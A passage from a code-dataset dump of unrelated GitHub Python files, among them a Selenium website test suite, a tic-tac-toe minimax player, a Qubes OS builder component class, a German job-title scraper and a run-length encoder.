persons[i] + person_json[\"student_id\"] + \"@ivc.edu\"\n\n\tif(person_json[\"student_id\"] not in csclub_group.studentIds.keys()):\n\t\tpersonId = add_person(csclub_group, person_json)\n\telse:\n\t\tpersonId = csclub_group.studentIds[person_json[\"student_id\"]]\n\n\tadd_faces(csclub_group, person_json[\"student_id\"], face_urls[i])\n\t\ncsclub_group.destruct()\n\n\n\t\n\n","repo_name":"alankyuen/FaceID","sub_path":"manual_reg.py","file_name":"manual_reg.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11625449622","text":"#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nplt.rc(\"font\", family=\"serif\", size=16)\nplt.rc(\"mathtext\", fontset=\"cm\")\nplt.rc(\"lines\", lw=2)\n\nimport sympy as sp\nfrom sympy import *\nfrom IPython.display import display, Latex\n\n\nD = lambda f, x : (np.array(diff(f(x), Matrix(x))).T)[0]\ndef pr(T):\n if len(np.shape(T))==1:\n return display(Latex(\"$$\" + sp.latex(Matrix(T)) +\"$$\"))\n elif len(np.shape(T))==2:\n return display(Latex(\"$$\" + sp.latex(Matrix(T)) +\"$$\"))\n else:\n return display(Latex(\"$$\" + sp.latex(T) +\"$$\"))\n\ndef smp(A, f=simplify):\n n, m = np.shape(A)\n B = np.empty_like(A)\n for i in range(n):\n for j in range(m):\n B[i, j] = f(A[i,j])\n return B\n\ndef smp2(A, f=simplify):\n n = np.shape(A)[0]\n B = np.empty_like(A)\n for i in range(n):\n B[i] = f(A[i])\n return B\n\n# %%\none = eye(2)\ne = np.array([[0, 1], [-1, 0]])\nt = symbols('\\\\theta')\nA = np.array([[cos(t), sin(t)], [sin(t), -cos(t)]])\n# %%\npr(A)\npr(A.T)\npr(smp(A@A))\npr(A@e)\n# %%\np1, p2 = symbols('\\\\varphi_1, \\\\varphi_2')\nphi = np.array([p1, p2])\npr(phi)\nphi@A@phi\npsi = A@phi\npr(psi)\n\n#%%\ng3 = psi @ e @ A @ psi\ng3 = simplify(g3)\npr(g3)\ndg = np.array([diff(g3, p1), diff(g3, p2)])\n\npr(smp2(A@dg))\n# pr(A @ D(g, phi))\n# %%\nr, u, a = symbols('r, u, \\\\alpha')\nf = lambda phi : r/2*phi@phi + u/4*(phi@phi)**2\n\nmu1 = D(f, phi)\nmu2 = a*e@phi\npr(mu1)\npr(mu1+mu2)\n#%%\npr(A@mu1)\n\n# %%\ni = integrate((A@mu1)[0], p1) + integrate((A@mu1)[1], p2)\ni = simplify(i)\npr(i)\n#%%\npr(simplify(a/2*phi@(A@e)@phi))\n# %%\ng = i + a/2*phi@(A@e)@phi\ng = factor(simplify(g))\npr(g)\n\n#%%\nM = np.array([simplify(diff(g, p1)), simplify(diff(g, p2))])\npr(M)\nM = simplify(A@M)\npr(M)\n#%%\npr(simplify(g.subs(t,0)))\npr(simplify(g.subs(t,pi/2)))\n\n# %%\nfig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}, figsize=(20,20))\n\n\nt0, r0, u0, a0 = pi/4, -1, 1, 1/2\n\ng = simplify(g.subs(t,t0))\ng = simplify(g.subs(r,r0))\ng = simplify(g.subs(u,u0))\ng = simplify(g.subs(a,a0))\ngl = lambdify(phi, g)\n\n\nk = 1.5\nN = 200\nn = 50\nr = np.linspace(0, k, N)\nth = np.linspace(0, 2*np.pi, n)\nr, th = np.meshgrid(r, th)\nx, y = r * (np.cos(th), np.sin(th))\nz = gl(x, y)\n\nax.plot_surface(x, y, z)\nplt.show()\n\n# %%\npr(phi@A@phi)\n# %%\n","repo_name":"martkjoh/NRCH","sub_path":"generalized_thermodynamics.py","file_name":"generalized_thermodynamics.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12126147304","text":"from selenium import webdriver\nfrom selenium.webdriver import ActionChains\nimport time\nimport pytest\nimport driver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.select import Select\n\n\nclass Testfile():\n @pytest.fixture()\n def test_setup(self):\n global driver #Executes the chromedriver executable file from local directory.\n global driver #To run this set up, you may need to create your own local directory#\n driver = webdriver.Chrome(executable_path=\"C:/Users/Cyril Obinna/PycharmProjects/Test Automation/chromedriver_\"\n \"win32/chromedriver.exe\")\n driver.implicitly_wait(10)\n driver.maximize_window()\n\n #Navigates to landig page by launching the Url#\n def test_login(self, test_setup):\n driver.get(\"https://www.aoe.com\")\n time.sleep(1)\n\n #Accepts cookies#\n def test_accept_cookie(self):\n driver.find_element_by_id(\"onetrust-accept-btn-handler\").click()\n time.sleep(1)\n\n #Changes browser language#\n def test_switch_lang(self):\n driver.find_element_by_xpath(\"//*[@class='language ']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//*[@class='language ']\").click()\n time.sleep(1)\n\n #Displays main functions on the landing page by clicking on them#\n def test_display_header(self):\n driver.find_element_by_link_text(\"Agile\").click()\n time.sleep(1)\n driver.find_element_by_link_text(\"Open Source\").click()\n time.sleep(1)\n driver.find_element_by_link_text(\"Digitalization\").click()\n time.sleep(1)\n driver.find_element_by_link_text(\"Enterprise\").click()\n time.sleep(1)\n driver.find_element_by_link_text(\"Knowledge Base\").click()\n time.sleep(1)\n\n #Hovers accross functions to display sub functions without clicking#\n def test_hover(self):\n element = driver.find_element_by_link_text(\"Solutions\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Products\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Clients\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Company\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Blog\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Careers\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_link_text(\"Contact\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n element = driver.find_element_by_xpath(\"//i[@class='icon-search']\")\n hover = ActionChains(driver).move_to_element(element)\n hover.perform()\n time.sleep(1)\n\n def test_click(self):\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-solutions']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-products']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-clients']\").click()\n time.sleep(1)\n\n #Cloxks and swipes accross the function called client#\n def test_swipe_client(self):\n driver.find_element_by_xpath(\"//div[@class='swiper-button-next']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//div[@class='swiper-button-next']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//div[@class='swiper-button-next']\").click()\n time.sleep(1)\n\n def test_continue_click(self):\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-company']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-career']\").click()\n time.sleep(1)\n\n #Displays the contact page, scrolls to the end of page and back to top of page#\n def test_contact(self):\n driver.find_element_by_xpath(\"//*[@data-qa='header-navigation-item-contact']\").click()\n time.sleep(2)\n page = driver.find_element_by_tag_name(\"html\")\n page.send_keys(Keys.END)\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,400)\")\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,50)\")\n time.sleep(1)\n\n #Displays blogs by clicking and sending search keyword 'blog'#\n def test_search(self):\n driver.find_element_by_xpath(\"//i[@class='icon-search']\").click()\n time.sleep(1)\n driver.find_element_by_xpath(\"//input[@ng-change='search.doSearch(search.searchTerm)']\").send_keys(\"blog\")\n time.sleep(1)\n\n #Selects a blog and displays it#\n def test_select_blog(self):\n driver.find_element_by_xpath(\"//*[@alt='Publishing Open Source extensions with minimal effort in 4 steps']\").click()\n time.sleep(1)\n\n #Scrolls slowly accross page by pixels#\n def test_scroll_blog(self):\n driver.execute_script(\"window.scrollTo(0,500)\")\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,900)\")\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,1400)\")\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,1900)\")\n time.sleep(1)\n driver.execute_script(\"window.scrollTo(0,2200)\")\n time.sleep(1)\n page = driver.find_element_by_tag_name(\"html\")\n page.send_keys(Keys.END)\n time.sleep(2)\n driver.execute_script(\"window.scrollTo(0,50)\")\n time.sleep(1)\n\n #Refreshes page#\n def test_refresh(self):\n driver.refresh()\n time.sleep(2)\n\n #Closes page#\n def test_Teardown(self):\n driver.close()\n driver.quit()\n print(\"Test completed\")\n\n # To run on terminal, pytest -v, or pytest#\n\n","repo_name":"obinna124/Automation-Test","sub_path":"aoe_test.py","file_name":"aoe_test.py","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40173480624","text":"import random\n\nclass MyAI:\n def __init__(self, game):\n self.game = game\n\n def getVals(self, arr):\n temp = [[[0, 0, 0], [0, 0, 0], [0, 0, 0]]]\n for i in range(len(arr[0])):\n for j in range(len(arr[0][i])):\n temp[0][i][j] = arr[0][i][j]\n try:\n temp.append(arr[1])\n return temp\n except:\n temp.append([None])\n return temp\n\n def getBestMove(self):\n return self.firstMax(self.getVals([self.game.gameArr]))\n\n def doMove(self, arr, pos, who):\n temp = self.getVals(arr)\n temp[0][pos[0]][pos[1]] = who\n return temp\n\n def firstMax(self, arr):\n temp = self.getVals(arr)\n notEmpty = False\n for i in range(len(temp[0])):\n for j in range(len(temp[0][0])):\n if not temp[0][i][j] == 0:\n notEmpty = True\n break\n if not notEmpty:\n return self.doMove(temp, [1, 1], 1)\n if self.game.isWin(temp[0], -1):\n temp[1] = [-1]\n return temp\n else:\n maxChildren = []\n count = 0\n for i in range(len(temp[0])):\n for j in range(len(temp[0][i])):\n if temp[0][i][j] == 0:\n count += 1\n print(\"move max on \", temp)\n r = self.min(self.doMove(temp, [i, j], 1))\n print(\"min returned: \", r)\n maxChildren.append(r)\n if count == 0:\n temp[1] = [0]\n return temp\n largest = maxChildren[0][1][0]\n temp = maxChildren[0]\n print(\"children: \", maxChildren)\n for i in range(1, len(maxChildren)):\n if maxChildren[i][1][0] >= largest:\n if maxChildren[i][1][0] > largest:\n largest = maxChildren[i][1][0]\n temp = maxChildren[i]\n else:\n rand = random.randint(0, 10)\n if rand <= 10 / i:\n print(\"random: \", rand)\n largest = maxChildren[i][1][0]\n temp = maxChildren[i]\n print(\"Move chosen: \", temp)\n return temp\n\n def min(self, arr):\n temp = self.getVals(arr)\n if self.game.isWin(temp[0], 1):\n temp[1] = [1]\n return temp\n else:\n children = []\n count = 0\n for i in range(len(temp[0])):\n for j in range(len(temp[0][i])):\n if temp[0][i][j] == 0:\n count += 1\n print(\"move min on \", temp)\n r = self.max(self.doMove(temp, [i, j], -1))\n print(\"max returned: \", r)\n children.append(r)\n if count == 0:\n temp[1] = [0]\n return temp\n smallest = children[0][1][0]\n print(\"children: \", children)\n for i in range(1, len(children)):\n if children[i][1][0] < smallest:\n smallest = children[i][1][0]\n temp[1] = [smallest]\n return temp\n\n def max(self, arr):\n temp = self.getVals(arr)\n if self.game.isWin(temp[0], -1):\n temp[1] = [-1]\n return temp\n else:\n children = []\n count = 0\n for i in range(len(temp[0])):\n for j in range(len(temp[0][i])):\n if temp[0][i][j] == 0:\n count += 1\n print(\"move MAX on \", temp)\n r = self.min(self.doMove(temp, [i, j], 1))\n print(\"min returned: \", r)\n children.append(r)\n if count == 0:\n temp[1] = [0]\n return temp\n largest = children[0][1][0]\n for i in range(len(children)):\n if children[i][1][0] > largest:\n largest = children[i][1][0]\n temp[1] = [largest]\n return temp\n","repo_name":"TaimurIshtiaq/TicTac","sub_path":"MyAI.py","file_name":"MyAI.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"24610173586","text":"import hashlib\nimport re\nimport subprocess\nfrom _sha512 import sha512\nfrom pathlib import Path\nfrom typing import Union, List\n\nimport pathspec\nimport yaml\nfrom packaging.version import Version, InvalidVersion, VERSION_PATTERN\n\nfrom qubesbuilder.common import sanitize_line, deep_check, VerificationMode\nfrom qubesbuilder.exc import ComponentError, NoQubesBuilderFileError\n\n# allow fractional post-release (like 1.0-0.1)\nVERSION_PATTERN_REL = r\"(?:(?P<post_frac>\\.[0-9]+))?\"\n\n\nclass QubesVersion(Version):\n \"\"\"Version class that preserves '-' in X.Y-rcZ version,\n and allows decimal point in post-release\n \"\"\"\n\n _regex = re.compile(\n r\"^\\s*\" + VERSION_PATTERN + VERSION_PATTERN_REL + r\"\\s*$\",\n re.VERBOSE | re.IGNORECASE,\n )\n\n def __init__(self, version: str) -> None:\n super().__init__(version)\n if \"-rc\" in version:\n # pylint: disable=protected-access\n self._version = self._version._replace(pre=(\"-rc\", self._version.pre[1])) # type: ignore\n match = self._regex.search(version)\n assert match # already verified in parent\n if match.group(\"post_frac\"):\n self._version = self._version._replace(\n post=(\n self._version.post[0],\n str(self._version.post[1]) + match.group(\"post_frac\"),\n )\n ) # type: ignore\n\n\nclass QubesComponent:\n def __init__(\n self,\n source_dir: Union[str, Path],\n name: str = None,\n url: str = None,\n branch: str = \"main\",\n verification_mode: VerificationMode = VerificationMode.SignedCommit,\n maintainers: List = None,\n timeout: int = None,\n fetch_versions_only: bool = False,\n devel_path: Path = None,\n is_plugin: bool = False,\n has_packages: bool = True,\n min_distinct_maintainers: int = 1,\n ):\n self.source_dir: Path = (\n Path(source_dir) if isinstance(source_dir, str) else source_dir\n )\n self.name: str = name or self.source_dir.name\n self.version = \"\"\n self.release = \"\"\n self.devel = \"\"\n self.url = url or f\"https://github.com/QubesOS/qubes-{self.name}\"\n self.branch = branch\n self.maintainers = maintainers or []\n self.min_distinct_maintainers = min_distinct_maintainers\n self.verification_mode = verification_mode\n self.timeout = timeout\n self.fetch_versions_only = fetch_versions_only\n self.is_plugin = is_plugin\n self.has_packages = has_packages\n self._source_hash = \"\"\n self._devel_path = devel_path\n\n @property\n def verrel(self):\n version_release = f\"{self.version}-{self.release}\"\n if self.devel:\n version_release = f\"{version_release}.{self.devel}\"\n if self.is_plugin:\n version_release = \"noversion\"\n return version_release\n\n def increment_devel_versions(self):\n devel = \"1\"\n if not self._devel_path:\n raise ComponentError(f\"Devel path not provided for {self.name}.\")\n self._devel_path.parent.mkdir(parents=True, exist_ok=True)\n if self._devel_path.exists():\n try:\n with open(self._devel_path) as fd:\n devel = fd.read().split(\"\\n\")[0]\n assert re.fullmatch(r\"[0-9]+\", devel)\n devel = str(int(devel) + 1)\n except AssertionError as e:\n raise ComponentError(f\"Invalid devel version for {self.name}.\") from e\n self._devel_path.write_text(devel)\n self.devel = devel\n\n def get_parameters(self, placeholders: dict = None):\n if not self.source_dir.exists():\n raise ComponentError(f\"Cannot find source directory {self.source_dir}.\")\n\n build_file = self.source_dir / \".qubesbuilder\"\n\n if self.is_plugin or not self.has_packages:\n return {}\n\n version = \"\"\n release = \"\"\n devel = \"\"\n\n version_file = self.source_dir / \"version\"\n if version_file.exists():\n try:\n with open(version_file) as fd:\n version_str = fd.read().split(\"\\n\")[0]\n # validate\n QubesVersion(version_str)\n # but use the original\n version = version_str\n except InvalidVersion as e:\n raise ComponentError(f\"Invalid version for {self.source_dir}.\") from e\n else:\n result = subprocess.run(\n \"git describe --match='v*' --abbrev=0\",\n capture_output=True,\n shell=True,\n cwd=self.source_dir,\n )\n if result.stdout:\n version = sanitize_line(result.stdout.rstrip(b\"\\n\")).rstrip()\n version_re = re.compile(r\"v?([0-9]+(?:\\.[0-9]+)*)-([0-9]+.*)\")\n if len(version) > 255 or not version_re.match(version):\n raise ComponentError(f\"Invalid version for {self.source_dir}.\")\n version, release = version_re.match(version).groups() # type: ignore\n\n if not version:\n raise ComponentError(f\"Cannot determine version for {self.source_dir}.\")\n\n release_file = self.source_dir / \"rel\"\n if not release:\n if not release_file.exists():\n release = \"1\"\n else:\n try:\n with open(release_file) as fd:\n release = fd.read().split(\"\\n\")[0]\n QubesVersion(f\"{version}-{release}\")\n except (InvalidVersion, AssertionError) as e:\n raise ComponentError(\n f\"Invalid release for {self.source_dir}.\"\n ) from e\n\n if self._devel_path and self._devel_path.exists():\n try:\n with open(self._devel_path) as fd:\n devel = fd.read().split(\"\\n\")[0]\n assert re.fullmatch(r\"[0-9]+\", devel)\n except AssertionError as e:\n raise ComponentError(f\"Invalid devel version for {self.name}.\") from e\n\n self.version = version\n self.release = release\n self.devel = devel\n\n if not build_file.exists():\n raise NoQubesBuilderFileError(\n f\"Cannot find '.qubesbuilder' in {self.source_dir}.\"\n )\n\n with open(build_file) as f:\n data = f.read()\n\n if not placeholders:\n placeholders = {}\n placeholders.update({\"@VERSION@\": self.version, \"@REL@\": self.release})\n\n for key, val in placeholders.items():\n data = data.replace(key, str(val))\n\n try:\n rendered_data = yaml.safe_load(data) or {}\n except yaml.YAMLError as e:\n raise ComponentError(f\"Cannot render '.qubesbuilder'.\") from e\n\n # TODO: add more extra validation of some field\n try:\n deep_check(rendered_data)\n except ValueError as e:\n raise ComponentError(f\"Invalid '.qubesbuilder': {str(e)}\")\n\n return rendered_data\n\n @staticmethod\n def _update_hash_from_file(filename: Path, hash: sha512):\n with open(str(filename), \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash.update(chunk)\n return hash\n\n def _update_hash_from_dir(self, directory: Path, hash: sha512):\n if not directory.exists() or not directory.is_dir():\n raise ComponentError(f\"Cannot find '{directory}'.\")\n paths = [name for name in Path(directory).iterdir()]\n excluded_paths = [directory / \".git\"]\n # We ignore .git and content defined by .gitignore\n if (directory / \".gitignore\").exists():\n lines = (directory / \".gitignore\").read_text().splitlines()\n spec = pathspec.PathSpec.from_lines(\"gitwildmatch\", lines)\n excluded_paths += [name for name in paths if spec.match_file(str(name))]\n sorted_paths = [path for path in paths if path not in excluded_paths]\n # We ensure to compute hash always in a sorted order\n sorted_paths = sorted(sorted_paths, key=lambda p: str(p).lower())\n for path in sorted_paths:\n hash.update(path.name.encode())\n if path.is_file():\n hash = self._update_hash_from_file(path, hash)\n elif path.is_dir():\n hash = self._update_hash_from_dir(path, hash)\n return hash\n\n def get_source_hash(self, force_update=True):\n if not self._source_hash or force_update:\n source_dir_hash = self._update_hash_from_dir(\n self.source_dir, hashlib.sha512()\n ).hexdigest()\n self._source_hash = str(source_dir_hash)\n return self._source_hash\n\n def get_source_commit_hash(self):\n cmd = [\"git\", \"-C\", str(self.source_dir), \"rev-parse\", \"HEAD^{}\"]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, check=True)\n return result.stdout.strip(\"\\n\")\n except subprocess.CalledProcessError as e:\n raise ComponentError(\n f\"Cannot determine source commit hash for {self.source_dir}.\"\n ) from e\n\n def is_salt(self):\n return (self.source_dir / \"FORMULA\").exists()\n\n def to_str(self) -> str:\n return self.source_dir.name\n\n def __repr__(self):\n return f\"<QubesComponent {self.to_str()}>\"\n\n def __eq__(self, other):\n return repr(self) == repr(other)\n\n def __str__(self):\n return self.to_str()\n","repo_name":"fepitre/qubes-builderv2","sub_path":"qubesbuilder/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":9615,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"5"} +{"seq_id":"25776183773","text":"class Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n graph = defaultdict(list)\n for crs, prereq in prerequisites:\n graph[crs].append(prereq)\n \n visited = set()\n def dfs(crs, visited):\n if crs in visited: return False\n if graph[crs] == []: return True\n \n visited.add(crs)\n for prereq in graph[crs]:\n if not dfs(prereq, visited): return False\n \n visited.remove(crs)\n graph[crs] = []\n return True\n \n for crs in range(numCourses):\n if not dfs(crs, visited): return False\n return True","repo_name":"MyoniM/LeetHub","sub_path":"207-course-schedule/207-course-schedule.py","file_name":"207-course-schedule.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35122427273","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# gov_jobs.py\n\"\"\"Collection of (currently) German government job titles.\"\"\"\nimport bs4\nimport requests\nimport unicodedata\nfrom bs4 import BeautifulSoup\n# from pprint import pprint\n\n\nurls = [\n # this url was locked away from public:\n # 'http://www.besoldungstabelle.de/besoldungsgruppen_amtsbezeichnungen_besoldungstabelle'\n 'https://www.future-beamtenkredit.de/beamtenberufe/',\n]\n\n\ndef gov_jobs() -> list:\n try:\n with open('./src/persontitles/data/gov_jobs.txt', mode='r', encoding='utf-8') as fin: # noqa\n GOV_JOBS = fin.read().split('\\n')\n except FileNotFoundError:\n try:\n GOV_JOBS = gov_job_titles()\n with open('./src/persontitles/data/gov_jobs.txt', mode='a', encoding='utf-8') as fout: # noqa\n fout.write('\\n'.join(item for item in GOV_JOBS))\n except FileNotFoundError:\n GOV_JOBS = load_file_within_package()\n\n return GOV_JOBS\n\n\ndef load_file_within_package():\n from . import data\n\n with pkg_resources.open_text(data, 'gov_jobs.txt') as fin:\n DATA_FILE = fin.read().split('\\n')\n\n return DATA_FILE\n\n\ndef gov_job_titles() -> list:\n titles_1 = titles_url_1()\n print('titles_1')\n print(titles_1)\n job_titles = [ttle for ttle in set(titles_1)] # noqa\n job_titles = change_first_word_to_female(job_titles)\n fem_male_collection = change_2_or_more_words_to_female(job_titles)\n\n return fem_male_collection\n\n\ndef get_soup(url) -> bs4.element.NavigableString:\n data = requests.get(url)\n soup = BeautifulSoup(data.text, 'lxml')\n\n return soup\n\n\ndef titles_url_1() -> list:\n url = urls[0]\n soup = get_soup(url)\n lines = []\n for p in soup.find_all('p'):\n lines.append(p.get_text(strip=True))\n print(lines)\n\n lines = lines[12:47]\n title_collection = []\n for line in lines:\n title = line.split(':')[-1]\n if '-Besoldung' not in title:\n title_collection.append(title.strip())\n\n ttle_collection = title_collection[:]\n title_collection = []\n for title in ttle_collection:\n titles = title.split(',')\n for ttle in titles:\n title_collection.append(ttle.strip())\n\n ttle_collection = title_collection[:]\n title_collection = []\n for title in ttle_collection:\n title = title.split('(')[0]\n title_collection.append(title.strip())\n\n ttle_collection = title_collection[:]\n title_collection = []\n for title in ttle_collection:\n if 'usw.' in title:\n title = title.split('usw.')[0]\n elif ' einer' in title:\n title = title.split(' einer')[0]\n elif 'ehem.' in title:\n title = title.split('ehem.')[-1]\n elif ' und' in title:\n title = title.split(' und')[0]\n title_collection.append(title.strip())\n\n title_collection = normalize_titles(title_collection)\n\n return title_collection\n\n\ndef normalize_titles(titles) -> list:\n normalized_titles = []\n for title in titles:\n title = unicodedata.normalize('NFKD', title.strip())\n title = title.strip()\n if title not in normalized_titles:\n normalized_titles.append(title)\n\n return normalized_titles\n\n\ndef change_first_word_to_female(titles) -> list:\n female_vers_added = []\n for title in titles:\n female_vers_added.append(title.strip())\n fields = title.split(' ')\n end = ' '.join(fields[1:])\n ttle = fields[0]\n fem_title = change_to_female_variant(ttle) + ' ' + end\n while ' ' in fem_title:\n fem_title = fem_title.replace(' ', ' ')\n fem_title = fem_title.strip()\n if fem_title not in female_vers_added:\n female_vers_added.append(fem_title)\n\n return female_vers_added\n\n\ndef change_to_female_variant(title) -> str:\n # need to normalize with NFC because otherwise \"Präsident\" will not be\n # recognized and even counted with 10 letters!\n ttle = unicodedata.normalize('NFC', title.strip())\n if ttle in ['Direktor', 'Konsul', 'Präsident', 'Chef', 'Kanzler', 'Sekretär']: # noqa\n fem_title = ttle + 'in '\n elif ttle.endswith('ektor') or ttle.endswith('onsul') or\\\n ttle.endswith('räsident') or ttle.endswith('hef') or\\\n ttle.endswith('anzler') or ttle.endswith('ekretär') or\\\n ttle.endswith('rofessor') or ttle.endswith('fleger') or\\\n ttle.endswith('eister') or ttle.endswith('ührer') or\\\n ttle.endswith('ommissar') or ttle.endswith('rinär') or\\\n ttle.endswith('theker') or ttle.endswith('konservator') or\\\n ttle.endswith('schafter') or ttle.endswith('stent'): # noqa\n fem_title = ttle + 'in '\n elif ttle.endswith('rat'):\n fem_title = ttle[:-3] + 'rätin'\n elif ttle.endswith('arzt'):\n fem_title = ttle[:-4] + 'ärztin'\n elif ttle.endswith('walt'):\n fem_title = ttle[:-4] + 'wältin'\n elif ttle == 'Rat':\n fem_title = 'Rätin '\n elif ttle == 'Arzt':\n fem_title = 'Ärztin '\n else:\n fem_title = title\n\n return fem_title\n\n\ndef change_2_or_more_words_to_female(titles) -> list:\n female_vers_added = []\n for title in titles:\n # append the male versions and the female versions so far\n female_vers_added.append(title)\n\n fields = title.split(' ')\n if len(fields) > 1:\n male_ttle = fields[-1]\n male_ttle = unicodedata.normalize('NFC', male_ttle.strip())\n fem_ttle = change_to_female_variant(male_ttle)\n if male_ttle != fem_ttle:\n fem_title = change_to_female(fields) + ' ' + fem_ttle.strip()\n female_vers_added.append(fem_title)\n\n return female_vers_added\n\n\ndef change_to_female(fields) -> str:\n fields_wo_last_field = fields[:-1]\n fem_words = ''\n for field in fields_wo_last_field:\n if field.endswith('r'):\n field = field[:-1]\n fem_words = fem_words + field + ' '\n\n return fem_words.strip()\n\n\nif __name__ == '__main__':\n titles = gov_job_titles()\n for i, title in enumerate(sorted(titles)):\n print(i, title)\n","repo_name":"0LL13/persontitles","sub_path":"src/persontitles/gov_jobs.py","file_name":"gov_jobs.py","file_ext":"py","file_size_in_byte":6147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41578067006","text":"from functools import reduce as _reduce\nfrom tqdm import tqdm as _tqdm\n\ndef encode(seq, progress_bar=False):\n \"\"\"\n Encodes run-length encoding of given iterable.\n \n Parameters\n ----------\n seq: Any Python iterable, e.g. lists, strings, tuples, \n pandas Series, to perform run-length encoding on.\n \n Returns\n -------\n values, counts: list of contiguous unique values, and list of \n counts \n \"\"\"\n assert len(seq) > 0, 'Sequence passed has zero length'\n \n values = []\n counts = []\n start_idxs = []\n end_idxs = []\n \n # First element\n values.append(seq[0])\n current_count = 1\n current_start_idx = 0\n \n if progress_bar == True:\n iterator = _tqdm(range(1, len(seq)))\n else:\n iterator = range(1, len(seq))\n \n for idx in iterator:\n # If the current value is the same as the last \n # recorded unique value\n if seq[idx] == values[-1]:\n # Increment current count\n current_count += 1\n else:\n # Close previous count\n counts.append(current_count)\n start_idxs.append(current_start_idx)\n \n # Open new count \n values.append(seq[idx])\n current_count = 1\n current_start_idx = idx\n\n # Close last count\n counts.append(current_count)\n start_idxs.append(current_start_idx)\n \n return values, counts\n\n\ndef _mp_encode(seq, n_jobs=-1, n_chunks='auto', \n backend='loky', verbose=1):\n \n \"\"\"\n Parallelized version of `encode`. Deprecated as parallelization is determined to be much slower than breaking sequences into chunks for sequential encoding. \n \n Parameters\n ----------\n seq: Any Python iterable, e.g. lists, strings, tuples, \n pandas Series, to perform run-length encoding on.\n n_jobs: Number of workers to parallelize, `n_jobs` parameter to be passed to joblib.Parallel. Defaults to -1.\n n_chunks: Number of chunks to split the input data into. Defaults to 'auto'.\n backend: Choice of backend for parallelization, `backend` parameter to be passed to joblib.Parallel. Defaults to 'loky'.\n verbose: Verbosity level, `verbose` parameter to be passed to joblib.Parallel. Defaults to 1.\n \n Returns\n -------\n values, counts: list of contiguous unique values, and list of \n counts \n \"\"\"\n from joblib import Parallel, delayed\n import joblib\n\n # Automatically find best num of chunks to split data into\n # By using num of logical cores available\n if n_chunks == 'auto':\n n_chunks = joblib.cpu_count()\n \n # Split data into chunks\n # split_seq = np.array_split(seq, n_chunks)\n # Using np.array_split is convenient but it forces everything into the same data type! \n # Preserving list homogeneity required a custom implementation that does not convert to np arrays.\n split_seq = _split(seq, n_chunks)\n \n # Parallelize `encode`\n output = Parallel(n_jobs=n_jobs, verbose=verbose,\n backend='loky')(map(delayed(encode), split_seq))\n \n # Gather outputs\n values, counts = [], []\n for i in output:\n values.extend(i[0])\n counts.extend(i[1])\n \n # Combine potential encodings that should be combined\n # But are separated as end of data chunks\n values, counts = _combine_values_counts(values, counts) \n \n return values, counts\n\ndef _combine_values_counts(values, counts):\n new_values = []\n new_counts = []\n overflow_count = 0\n \n for i in range(len(values)-1):\n if values[i] == values[i+1]:\n overflow_count = overflow_count + counts[i]\n else:\n new_values.append(values[i])\n new_counts.append(counts[i] + overflow_count)\n overflow_count = 0\n\n # Last value needs to be added manually\n # due to how the loop is set up\n new_values.append(values[-1])\n new_counts.append(counts[-1] + overflow_count)\n \n return new_values, new_counts\n\ndef _find_split_indices(length, n_chunks):\n # Calculate length of each chunk\n base_chunk_len = length // n_chunks\n overflow_len = length % n_chunks\n chunk_lengths = [base_chunk_len] * n_chunks\n \n for i in range(overflow_len):\n chunk_lengths[i] = chunk_lengths[i] + 1\n \n # Map out indices for each chunk\n # Note that num of cuts needed are n_chunks-1\n # cut_indices = [n1, n2, n3, n4, nn]\n # Last num is always the total length of the sequence\n cut_indices = [_reduce(lambda x, y: x+y, chunk_lengths[:i+1]) for i in range(n_chunks)]\n cut_indices.insert(0, 0)\n \n # Transform list of places to cut into proper list of indices\n split_indices = [slice(i, j) for i, j in zip(cut_indices[:-1], cut_indices[1:])]\n return split_indices\n\ndef _split(seq, n_chunks):\n split_indices = 